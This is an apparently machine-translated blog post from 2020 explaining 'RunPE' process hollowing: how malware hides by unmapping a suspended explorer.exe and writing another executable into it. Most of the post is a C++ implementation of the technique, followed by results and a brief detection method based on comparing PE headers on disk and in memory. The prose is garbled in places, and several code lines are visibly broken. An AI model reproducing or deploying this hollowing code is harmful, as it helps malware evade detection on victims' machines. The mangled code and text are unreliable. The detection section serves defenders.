research on the attack of injecting hidden code into known process with malware

Posted by tetley at 2020-02-27


Disclaimer: This is not a tutorial for making malware, but a practical case for educational purposes. However, this is also a topic that has been discussed on other websites for decades.

The basis of reading this article (c + +, windowspe file structure, binary knowledge is better)

Hiding a process has always been a challenge for malware writers, who have found many ways to do it. The skill I'm talking about now is very basic. Although it's easy to write, it can't work all the time. This technique is called "runpe" and has been used many times in the malware industry, especially in rat (remote management tool).

Basically, when a malware starts, it will pick a victim (such as explorer. Exe) in the windows process (if there is a kid's shoe that has used the process injection attack in Metasploit, it should be no stranger) and start a new instance, which is in the suspended state. In this state, it is safe to make changes, and malware will completely clear it from the code, expand it into memory if necessary, and copy its own code in it.

Then, the malware will make some changes to adjust the entry address and base address, and will resume its process. After recovery, the process shows that it is starting from a file (explorer. Exe), which does not show what it has done, but it has actually done it.

Runpe: Code

void RunPe( wstring const& target, wstring const& source ) {     Pe src_pe( source );        // Parse source PE structure     if ( src_pe.isvalid )     {                 Process::CreationResults res = Process::CreateWithFlags( target, L"", CREATE_SUSPENDED, false, false ); // Start a suspended instance of target         if ( res.success )         {             PCONTEXT CTX = PCONTEXT( VirtualAlloc( NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE ) );   // Allocate space for context             CTX->ContextFlags = CONTEXT_FULL;             if ( GetThreadContext( res.hThread, LPCONTEXT( CTX ) ) )    // Read target context             {                 DWORD dwImageBase;                 ReadProcessMemory( res.hProcess, LPCVOID( CTX->Ebx + 8 ), LPVOID( &dwImageBase ), 4, NULL );        // Get base address of target                 typedef LONG( WINAPI * NtUnmapViewOfSection )(HANDLE ProcessHandle, PVOID BaseAddress);                 NtUnmapViewOfSection xNtUnmapViewOfSection;                 xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));                 if ( 0 == xNtUnmapViewOfSection( res.hProcess, PVOID( dwImageBase ) ) )  // Unmap target code                 {                     LPVOID pImageBase = VirtualAllocEx(res.hProcess, LPVOID(dwImageBase), src_pe.NtHeadersx86.OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);  // Realloc for source code                     if ( pImageBase )                     {                         Buffer src_headers( src_pe.NtHeadersx86.OptionalHeader.SizeOfHeaders );                 // Read source headers                         PVOID src_headers_ptr = src_pe.GetPointer( 0 );                         if ( src_pe.ReadMemory( src_headers.Data(), src_headers_ptr, src_headers.Size() ) )                         {                             if ( WriteProcessMemory(res.hProcess, pImageBase, src_headers.Data(), src_headers.Size(), NULL) )   // Write source headers                             {                                 bool success = true;                                 for (u_int i = 0; i < src_pe.sections.size(); i++)     // Write all sections                                 {                                     // Get pointer on section and copy the content                                     Buffer src_section( i ).SizeOfRawData );                                     LPVOID src_section_ptr = src_pe.GetPointer( i ).PointerToRawData );                                     success &= src_pe.ReadMemory( src_section.Data(), src_section_ptr, src_section.Size() );                                                                         // Write content to target                                     success &= WriteProcessMemory(res.hProcess, LPVOID(DWORD(pImageBase) + i ).VirtualAddress), src_section.Data(), src_section.Size(), NULL);                                 }                                 if ( success )                                 {                                     WriteProcessMemory( res.hProcess, LPVOID( CTX->Ebx + 8 ), LPVOID( &pImageBase), sizeof(LPVOID), NULL );      // Rewrite image base                                     CTX->Eax = DWORD( pImageBase ) + src_pe.NtHeadersx86.OptionalHeader.AddressOfEntryPoint;        // Rewrite entry point                                     SetThreadContext( res.hThread, LPCONTEXT( CTX ) );                                              // Set thread context                                     ResumeThread( res.hThread );                                                                    // Resume main thread                                 }                                                           }                         }                                            }                 }             }             if ( res.hProcess) CloseHandle( res.hProcess );             if ( res.hThread ) CloseHandle( res.hThread );         }     } } ... RunPe( L"C:\\windows\\explorer.exe", L"C:\\windows\\system32\\calc.exe" );

(the source code is self explanatory, but I choose to keep it closely linked with our underlying libraries (PE, process,...) so that the code doesn't get out of the box (to avoid script kids using it to do bad things). However, I recommend that engineers understand the logic and recreate the binaries. Own translation)

The source code can explain itself, and the meaning of this code should be self-evident (i.e. I can read s'ub literally). Anyway, I use the underlying library to encapsulate them (pe.process.. code only sees the class but not the implementation code), so without these underlying libraries, these codes can't run (nonsense, lib doesn't provide me with any compilation), In order to prevent some hackers from using these codes to do things everywhere, however, a senior code farmer old driver should be able to easily understand the logic relationship in the code and (according to the meaning) code out the binary programs that can be used by himself.

The main program will call the runpe function with explorer.exe as the target and calc.exe as the source code. This will cause the calc.exe code to run to the surface of explorer.exe.

The runpe function will simply create explorer.exe in the aborted state, removing the part belonging to the module and ntunmapviewofsection. Then, it will allocate more memory to host the target (calc.exe) code at the same preferred address as the previously unmapped part.

This code (title + part) is copied to the newly allocated part, and we adjust the memory image base address + entry point address to match the new offset (the base address of explorer.exe may be different). When finished, the main thread resumes.

Runpe: results

Pause after creation

After some areas in explorer.exe are not mapped

After a new part of the area has been allocated

After the calc.exe code is written

The process hacker software displays the calc caption window in explorer.exe the calc.exe string appears in explorer.exe

Runpe: detection

This technique is very simple, and the detection is also very simple. We can assume (except for. Net assemblies) that the PE header will be 99% the same in memory and in the disk image of the process.

Knowing this, we can compare the PE header of the file on disk with the image in memory in each process. If there is too much disagreement, we can safely assume that the process was hijacked. The picture shows the detection of runpe

Link Tag = runpe in projection